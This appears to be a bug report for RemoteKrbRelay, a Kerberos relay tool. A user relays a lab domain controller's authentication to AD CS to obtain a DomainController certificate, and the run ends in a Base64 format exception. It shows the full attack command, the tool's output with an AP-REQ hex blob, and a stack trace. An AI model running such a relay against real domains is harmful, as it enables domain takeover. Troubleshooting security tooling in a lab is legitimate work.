The input is not a valid Base-64 string because it contains non-Base-64 characters

[helloyw]

I encountered this error when trying to relay the machine and DC as a single host.
dc：WIN-GV6N82TLJBR.redteam.com
adcs：WIN-GV6N82TLJBR.redteam.com
RemoteKrbRelay.exe -adcs -template DomainController -victim WIN-GV6N82TLJBR.redteam.com -target WIN-GV6N82TLJBR.redteam.com -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

                            /\_/\____,
                  ,___/\_/\ \  ~     /
                  \     ~  \ )   XXX
                    XXX     /    /\_/\___,
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)
[+] Setting UP Rogue COM at port 12345
[+] Registering...
[+] Register success
[+] Forcing Authentication
[+] Using CLSID: d99e6e74-fc88-11d0-b498-00a0c90312f3
[*] apReq: 6082070c06092a864886f71201020201006e8206fb308206f7a003020105a10302010ea20703050020000000a38205186182051430820510a003020105a10d1b0b5245445445414d2e434f4da22e302ca003020102a12530231b04687474701b1b57494e2d4756364e3832544c4a42522e7265647465616d2e636f6da38204c8308204c4a003020112a103020108a28204b6048204b22ba21000f33c9820e402bf79086eb8ccda63c533785a91c330707ebb58ee104e2be4091f99f7adada055df45af69525ef7ba04ef66906a28dc486bc9cc3b6f8c0e5525a2eb029bf577080108a692014d3f08e34407663192fe1c3af212b9e57178bc5083822f77d13d62f35618468c3f42cd18bc3bf80c272ef5a52ce77015de3bda177a600913dd96f6a8ec72f2b31d9d73e8432d93957cb6000131c1f09730008373f018c420ece68d036244e5877078994858d6fc95f1961b1541cb09a11e45fe794a004010fe1515ffeb412228165bc9841a0f1b7d313a8a5731f80440add01439af6ee4874cb5cefa74e17eb611912c9fd7a7476aa83dc7a2b0a6446e692844368b25d2804921fd440718e3124da055dbde74ab9adfec77f62349b5ad1d506e6e0316022577204ba9c7a48c0ebe77d2acecfe89505eb990c52dab9fb741654dc54a8d385acc27707ce837f1791fb99f9bd312c92a785e8cd15ece1e2dd363d8c405e1434d24a1fbc88b09661e3d18a8a3a74c74afcbc65953e9c8a3a4dd71e729d678ba0b7bf34ec6452428a57ad98a091898d751dac42744f14bda4629bcb9d8ed7dbe42ea09b1f43262bbe7ae55754149a81188e655fdcdfd1eade57e5362e33edc257e38d94f5020008ec0306e440d82eb48e168a7b495bd5e72795e6e125bd4ff0a24b261e49073ca3b12500bf8bd17874f6b7e93aab9a575084a08f6e95710df314884404e588302c8992bb9f90bd2cc843faa9d685cc87bcd9f9d5f2e07b65214c53ad381b3afb54599e716433c764f9ac0a14cb38a2fb33d0040a69dab01d612dda30d5e31ef4c82d43ee5ca9a45a71b6da6e67ce95843fc7b62e6520ca2fe428b052b56e29590131bb88ec3ade6c88194bc6b0ab8255f7c190817037e60d0339b19201715bc9f753456433b88eb8878bf814755e0cf9fff6db3015ac49c8cff7570e150d37f3a7c9d8942ab82dea6af1411413c433f2889acfba4dc0dfe5366591b058c963a2fe1efa39096c425c42f3701388ce488cb674b064746b5a5e18311b3bfc8014f0df6a47359a7fcdaf027fd34a130b05d26947a3500d0721f04cea1f4de60604bc369d6c39f2a9e633826b593d555c27a79e2e344d0ca62f742efaa64f7631857a37fec88d3a3ece8c8e2e68beec6ab06ca2706f7b029dc0e1be23c5754ca72fc555bf72a0c3d1eac05826155f6af455d016ef358276aa68907f550dd8ff25b81e5d091fb2152ffea652ec39d2829d9d2bda9acf63f123a8e2a5ee2fff39a6fa29323dc4caaf51dbec5e255dd0223ed8f147c91106d028011f3bb077b4cf4b143835091a0119db8e2f4e25159425639b3b6d1323ca488b634f83d1a58b13983bbcb4fb94caa51b0bba768cb381c4a509a0588b61937865f83c6fad2af90ca6462d1f2324766f647026462b498130d2803fa9437738b5b128e770e3790bed5017a9fea6ab94b7765ad0115415c8d3f3af3d9ef34eceb4ec3456b02d4db3e4b9750417102ac3f65418c5829c44fbda1ad44db869312d6093d593c24edae8f2c993dfabde6e0be301edf317f240dcd70fb77ad0abb9c1452c1b18412d8df9cc4513d1189c6d97e9880f01cb3d3bcfcc511cd812395f5780ac82adef9e11dfab037885878773c395a94b1f830c1003a4320b95e18f808781a5ba82fe405d4ea10ed880a3866aca703a48201c4308201c0a003020112a28201b7048201b3a2c2be2675486759b449b19dd710c358cd9319670bdea73150dc6e0ae2d3c25b4ac746370fbd7d1695ef9098f2daaf0d51eda41726cea122657819283338f9938cf303f98402ab9220b6ba256240c865acae41b23b7dbd23be749802fcc2b8bd85a6c50efa61ccae1603fc9ff1983c83bea5c74edf1c7d233630a93b7cb86c0a08b7502cf1d95c381c4d2047503d2f192c90e8d7f65d280f9214fc1a7c60c1e1ba72f3c4c5819fc94316bb7d53792ca0a52b456bf3fcabe7ca99a90c245eeee4c89f41f2ebdf32091118317e43c27ba0d1a9e3793cd3b6beef291f1b5ff22972d2d5cc85650112e6159d6563bd89a0e0c3ef119791a79c36a23b52a24760c7aab90fd54ba74f32880504a9e89f28ea0a607d1a84b873caa001ec9c3938f2bdeab1f517ccaf13e91acafd0183a1a476b6c1775e82838eb4a1ca768c72beba239d6a494c02ef566b1966b669646d078d965c1ad88eda696c88346cb52b7c07dca3c8823e0b759c0e856daa34b620bd5ee54ca808b2fd27faa5478354937c0ec6efe6550520608696d826241d5d1f5b62a3c41f4f9dcc99d5e04c92ba6e1f50768cd27df98d53a6a510bdbe09c9fa5bb440297e87
[+] Got Krb Auth from NT/System. Relaying to ADCS now...

"Unhandled exception: System.FormatException: The input is not a valid Base-64 string because it contains non-Base-64 characters, more than one padding character, or the padding characters are not at the end of the string."
   在 System.Convert.FromBase64_Decode(Char* startInputPtr, Int32 inputLength, Byte* startDestPtr, Int32 destLength)
   在 System.Convert.FromBase64CharPtr(Char* inputPtr, Int32 inputLength)
   在 System.Convert.FromBase64String(String s)
   在 RemoteKrbRelay.Relay.Http.Relay()
   在 RemoteKrbRelay.Relay.Relay.AcceptSecurityContext_(SecHandle phCredential, SecHandle phContext, SecurityBufferDescriptor pInput, AcceptContextReqFlags fContextReq, SecDataRep TargetDataRep, SecHandle phNewContext, IntPtr pOutput, AcceptContextRetFlags& pfContextAttr, SECURITY_INTEGER ptsExpiry)